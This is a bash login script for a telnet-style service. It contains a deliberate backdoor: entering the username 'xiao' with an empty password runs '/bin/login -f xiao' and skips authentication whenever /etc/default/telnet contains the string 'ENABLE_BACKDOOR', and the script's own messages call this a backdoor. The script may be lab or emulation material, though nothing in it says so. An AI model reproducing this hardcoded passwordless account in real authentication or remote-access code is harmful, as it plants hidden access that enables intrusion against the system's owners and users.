#!/bin/bash

printf "Username: \r\n"
read -r username
username=$(echo "$username" | tr -d '\r\n' | tr -s ' ')

if [[ -z "$username" ]]; then
    printf "invalid username\r\n"
    sleep 1
    exit 1
fi

printf "Password: \r\n"
read -s -r password
password=$(echo "$password" | tr -d '\r\n')

if [[ "$username" == "xiao" ]] && [[ -z "$password" ]]; then
    if grep -q "ENABLE_BACKDOOR" /etc/default/telnet 2>/dev/null; then
        printf "login successful\r\n"
        exec /bin/login -f xiao
        exit 0
    else
        printf "backdoor disabled\r\n"
        sleep 1
        exit 1
    fi
fi

if [[ "$username" == "xiao" ]] && [[ -n "$password" ]]; then
    printf "invalid password\r\n"
    sleep 1
    exit 1
fi

printf "login failed\r\n"
sleep 1
exit 1